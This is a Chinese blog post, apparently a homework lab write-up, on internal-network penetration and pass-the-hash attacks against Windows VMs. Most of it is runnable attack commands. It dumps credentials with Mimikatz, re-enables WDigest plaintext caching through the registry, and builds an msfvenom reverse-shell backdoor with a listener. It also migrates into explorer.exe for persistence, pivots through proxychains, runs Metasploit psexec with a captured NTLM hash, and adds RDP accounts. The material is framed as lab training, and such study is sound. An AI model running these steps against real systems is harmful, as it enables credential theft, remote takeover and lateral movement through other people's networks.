内网渗透之哈希传递攻击

Posted Zer0o

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了内网渗透之哈希传递攻击相关的知识,希望对你有一定的参考价值。

(作业记录

0x01

利用VMware的克隆功能克隆一台win7,取名为win7-2。

0x02

启用win7和win7-2的系统管理员 Administrator 账户及设置密码

法一

启用管理员账号administrator

设置密码为123456

法二

打开开始菜单,右击“计算机”,选择“管理”。

在“计算机管理”窗口,依次定位到“本地用户和组->用户”。单击展开“用户”项。


在右边的细节窗口中,右击“Administrator”,选择“属性”。 默认状态下,Administrator 属性窗口中“账户已禁用”项是勾选着的。我们需要取消其勾选,然后按“确定”保存更改。

0x03

任选上课中介绍的一款工具读取win7的本地账号和对应的NTLM hash值。

Windows账号密码存放路径

路径:C:\\Windows\\System32\\config\\sam
在SAM文件中所存储的是密码的hash值,而不是明文密码。

本地身份认证过程

Windows Logon Process(即winlogon.exe):是Windows NT 用户登陆程序,用于管理用户登陆和退出。
LSASS:用于微软Windows系统的安全机制,它用于本地安全和登陆策略。

首先,用户注销、重启、锁屏后,操作系统会让winlogon.exe显示登陆界面,也就是输入框界面,接收用户的输入信息后,将密码交给lsass进程,这个过程中会存一份明文密码,将明文密码加密成NTLM Hash值,对SAM数据库进行比较认证。

获取本地数据库信息的方法可以分为两种:

这个实验只演示Mimikatz获取本地信息

一.在线读取SAM数据库:

1.Mimikatz抓取密码信息
2.Pwdump抓取
3.Powershell抓取

二.离线获取SAM数据库(获取当前系统的sam,在另一个系统读取):

1.注册表导出sam。
2.Ninjiacopy
3.procdump

先切换登录用户administrator

使用mimikatz读取用户密码

用管理员打开mimikatz,输入privilege::debug获取调试权限。
在 windows⾥,调试权限可以⽤来调试进程,甚至是调试内核。对于 mimi-katz的工作原理必须要读取内存,那么只有它拥有了调试的权限才能去打开进程。所以mimikatz能抓取hash或者明码的一个必要条件拥有调试程序的权限。

输入命令sekurlas::logonPasswords抓取用户的NTLM和密码123456
msv:这项是账户对应密码的各种加密协议的密文,可以看到有LM、NTLM和SHA1加密的密文
tspkg,wdigest,kerberos:这个就是账户对应的明文密码了。有的时候这三个对应的也不是全部都是一样的,需要看服务器是什么角色。
SSP:是最新登录到其他RDP终端的账户和密码


根据NTLM解密网站解密hash值,依旧可以得出密码123456

sekurlsa模块

sekurlsa::logonpasswords

抓取用户NTLM哈希
sekurlsa::msv

加载dmp文件,并导出其中的明文密码
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full

导出lsass.exe进程中所有的票据
sekurlsa::tickets /export

kerberos模块

列出系统中的票据
kerberos::list
kerberos::tgt

清除系统中的票据
kerberos::purge

导入票据到系统中
kerberos::ptc 票据路径

lsadump模块

在域控上执行)查看域kevin.com内指定用户root的详细信息,包括NTLM哈希等
lsadump::dcsync /domain:kevin.com /user:root

(在域控上执行)读取所有域用户的哈希
lsadump::lsa /patch

从sam.hive和system.hive文件中获得NTLM Hash
lsadump::sam /sam:sam.hive /system:system.hive

从本地SAM文件中读取密码哈希
token::elevate
lsadump::sam

wdigest

WDigest协议是在WindowsXP中被引入的,旨在与HTTP协议一起用于身份认证。默认情况下,Microsoft在多个版本的Windows(Windows XP-Windows 8.0和Windows Server 2003-Windows Server 2012)中启用了此协议,这意味着纯文本密码存储在LSASS(本地安全授权子系统服务)进程中。 Mimikatz可以与LSASS交互,允许攻击者通过以下命令检索这些凭据

mimikatz #privilege::debug
mimikatz #sekurlsa::wdigest

Mimikatz抓取用户明码的防御手段及解决手段

虽然利用mimikatz可以较为方便的获取当前登陆用户存储在内存中的明码。但是在安装了KB2871997补丁、系统为win10或2012R2以上或者调整了组策略时,默认在内存缓存中禁止保存明文密码,mimikatz就无法抓取明文密码。
但可以通过修改注册表的方式抓取明文。

reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f  
#重启或用户重新登录后可以成功抓取

Mimikatz在线读取所有用户信息

privilege::debug
token::elevate
lsadump::sam

可以查看所有本地用户的相关信息,包括密码的NTLMHash 值,通过对HTLM hash值的破解即可获得密码。

0x04 哈希传递攻击

在kali上利用在win7上得到的账号信息对win7-2进行PTH攻击,工具选择crackmapexec或msf,PTH攻击成功后在命令行运行net user 查看所有本地用户。

原理

哈希传递的原理是在认证过程中,并不是直接使用用户的密码进行认证的,而是使用用户的hash值,因此,攻击者可以直接利用已经得到的账户密码值来访问远程主机或服务,而不需要提供明文密码。

实现

哈希传递是内网横向移动时非常常用的一种手法,支持PTH的工具很多,例如MSF、powershell脚本、mimikatz等。
漏洞主机:win7-2,IP地址:192.168.1.4
攻击主机:Kali,IP地址:192.168.1.9

使用Crackmapexec进行PTH

crackmapexec smb 被攻击ip -u administrator -H 被攻击ip的用户NTLM即hash值 -x whoami

Metasploit

初始化及启动

在使用之前我们需要对Metasploit进行初始化,
并启动:

systemctl start postgresql
systemctl enable postgresql


启动专用的数据库,并设置为每次开机自动启动

msfconsole

或者 点击kali屏幕左上角图标->选择 08->点击Metasploit framework
( msf == Metasploit framework)

Metasploit常用命令

search //按关键字查找

use //选择对应模块并使用
//<1>在use 中想退出模块不退出框架使用 back命令;
//<2> 也可以使用info 查看使用模块的详细信息

show options //查看该模块需要配置的参数

run //运行模块

msf的使用法则三步走

  1. 查找对应可使用模块;
  2. 使用模块并配置模块必选项;
  3. 运行模块。

msf中共有6大模块,分别是:

  1. 渗透攻击模块Exploit Modules:攻击漏洞
  2. 辅助模块Auxiliary Modules:扫描
  3. 攻击载荷Payload Modules:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
  4. 空字段模块Nop Modules
  5. 编码模块Encoders
  6. 后渗透攻击模块Post:攻击成功之后,动态传输代码使其在被控机执行

使用Metasploit进行PTH:

auxiliary/admin/smb/psexec_command      // 在目标机器上执行系统命令
exploit/windows/smb/psexec            // 用psexec执行系统命令
exploit/windows/smb/psexec_psh         // 使用powershell作为payload

输入命令msfconsole运行msf

用psexec执行系统命令 exploit/windows/smb/psexec

show options

将rhost设置为被攻击ip

将smbuser设置为administrator

将smbpass设置为administrator用户的LM-hash和NTLM-hash(冒号前面为LM,后面为NTLM
set smbpass 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
LM为44efce164ab921caaad3b435b51404ee
NTLM为32ed87bdb5fdc5e9cba88547376818d4

run进入meterpreter即为hash传递攻击成功

我们输入: shell即可切换到目标主机的windows cmd_shell里面,再net user发现会乱码

目标主机cmd_shell字符乱码,设置目标主机命令行的字符编码,65001是UTF-8
chcp 65001
再net user,可以查看所有本地用户

遇到的问题

  1. PTH攻击成功后,找不到在哪net user,查看Metasploit相关使用教程,才知道进入meterpreter之后,先输入shell指令,即可切换到目标主机的windows cmd_shell里面,再输入net user即可

  2. net user的时候会出现目标主机cmd_shell字符乱码。解决方法:设置目标主机命令行的字符编码,65001是UTF-8

内网渗透测试小Demo-哈希传递攻击

环境搭建

Win Server2003

设置账户密码

右击我的电脑,选择管理,添加本地用户和组,重置admin的密码为123456,方便之后的操作

在vmware中为虚拟机添加一个网卡,网络连接选择LAN区段

开机后手动设置IP地址为 10.0.0.2/24

ipconfig

Win Server2008

虚拟机网络连接选择LAN区段,开机后手动设置IP地址为 10.0.0.3/24

注:两台虚拟机网络连接也可以选择仅主机模式也可以,具体配置自行百度

拿shell

已知win werver2003存在文件上传漏洞,已经被getshell

使用MSF生成后门文件

在Kali生成后门文件

msfvenom  -p windows/meterpreter/reverse_tcp lhost=192.168.179.128  lport=12345 -f exe >/var/www/html/s.exe

生成完毕,通过webshell将文件上传至win服务器

kali进入msf,开启监听

use exploit/multi/handler
set payload  windows/meterpreter/reverse_tcp
set lhost 192.168.179.128
set lport 12345
exploit

等win服务器那边点击了exe文件,这边就上线了

收集信息

  • 系统信息

    sysinfo

  • 查看路由表信息

    route

  • 查看进程

    ps

    如果失败,可以进入shell中使用tasklist查看

注入进程维持权限

一般注入explorer.exe进程

migrate 2424

注入成功后每次启动explorer.exe进程都会启动shell

收集内网信息

  • 查看路由表

    run autoroute -p 
    
  • 检测内网存活

    # 通过ping命令
    run post/multi/gather/ping_sweep RHOSTS=10.0.0.0/24
    # 通过arp协议
    run post/windows/gather/arp_scanner RHOSTS=10.0.0.0/24
    # 使用info查看模块信息
    info post/multi/gather/ping_sweep
    

  • 代理nmap扫描

    添加路由

    run autoroute -s 10.0.0.0/24
    background
    use auxiliary/server/socks4a 
    set SRVPORT 10044
    run
    

    修改配置文件

    vi /etc/prxoychains.conf
    

    注释掉原来的,添加一条新的

    socks4 192.168.179.128 10044
    

    这样的话路由就添加完成了

    使用nmap逐个扫描上条命令检测出来的IP

    proxychains nmap -sT -Pn 10.0.0.2 --open -oN 10.0.0.0.txt
    保存至10.0.0.0.txt中
    

通过端口扫描发现开放了445端口,尝试攻击

哈希传递攻击

PTH即pass-the-hash,原理是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不需要提供明文密码

使用MSF获取hash值

meterpreter > hashdump 
Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
............

选择payload,使用winserver2003的账户密码hash,攻击winserver2008,因为内网环境中存在大量密码一样的主机,当我们获得了一台的hash后,可以通过该hash进行横向渗透

background
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
show options                      -->查看配置选项
set RHOST 10.0.0.3		         -->设置攻击目标IP,端口默认445
set SMBUser Administrator         -->设置账号为wing
set SMBPass 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4

攻击得到另外的session

hash解密网站:https://www.objecif-securite.ch/ophcrack

后半段为加密数据

mimikatz

在msf中可以直接载入mimikatz

meterpreter > load mimikatz 
meterpreter > msv
meterpreter > kerberos 

使用命令开启RDP

run  getgui  -e
增加帐号
run getgui -u moonsec -p moonsec

端口转发

portfwd add -l 5555 -p 3389 -r 192.168.0.111
rdesktop -u Administrator -p 123qwe 127.0.0.1:5555
proxychains rdesktop -u Administrator -p 123456 10.10.10.134

推荐阅读

内网渗透之横向移动 – 哈希传递攻击研究

传递哈希攻击的原理介绍

以上是关于内网渗透之哈希传递攻击的主要内容,如果未能解决你的问题,请参考以下文章

纯干货-内网渗透系列教程——NTLM 与 NTLM 身份认证

Vulnstack红日安全内网域渗透靶场1实战

内网渗透-完整的域渗透

内网渗透测试:初探远程桌面的安全问题

内网渗透神器CobaltStrike之钓鱼攻击

如何对Windows系统进行哈希传递攻击(Pass-Hash-Attack)